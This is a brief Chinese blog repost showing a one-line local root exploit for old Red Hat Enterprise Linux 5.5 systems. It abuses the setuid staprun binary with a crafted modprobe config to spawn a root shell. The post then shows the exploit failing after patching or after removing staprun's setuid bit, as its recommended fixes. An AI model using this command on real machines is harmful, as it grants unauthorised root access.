linux一句话提权

最新推荐文章于 2022-09-11 19:29:22 发布

weixin_30709635

最新推荐文章于 2022-09-11 19:29:22 发布

阅读量355

点赞数

文章标签：操作系统

原文链接：http://www.cnblogs.com/baogg/articles/2029939.html

版权

不多说，看命令：‍
[b@fuckks~]$ printf "install uprobes /bin/sh" > exploit.conf; MODPROBE_OPTI*****="-C exploit.conf" staprun -u whatever
sh-3.2# uname -a
Linux xlsec 2.6.18-194.el5 #1 SMP Tue Mar 16 21:52:43 EDT 2010 i686 i686 i386 GNU/Linux
sh-3.2# cat /etc/redhat-release
Red Hat Enterprise Linux Server release 5.5 (Tikanga)
sh-3.2#

有补丁的去打补丁吧，补上补丁之后的效果如下：

‍[b@fuckks~]$ printf "install uprobes /bin/sh" > exploit.conf; MODPROBE_OPTI*****="-C exploit.conf" staprun -u whatever
-bash: /usr/bin/staprun: Permission denied
[b@fuckks~]$

我有写一个linux批量打补丁的哦：）

没有补丁的，把‍/usr/bin/staprun这个东西的s位去掉，也可以应付的哦，如下：
[a@fuckks2~]$ printf "install uprobes /bin/sh" > exploit.conf; MODPROBE_OPTI*****="-C exploit.conf" staprun -u whatever
ERROR: The effective user ID of staprun must be set to the root user.
Check permissi***** on staprun and ensure it is a setuid root program.
[a@fuckks2~]$

转载于:https://www.cnblogs.com/baogg/articles/2029939.html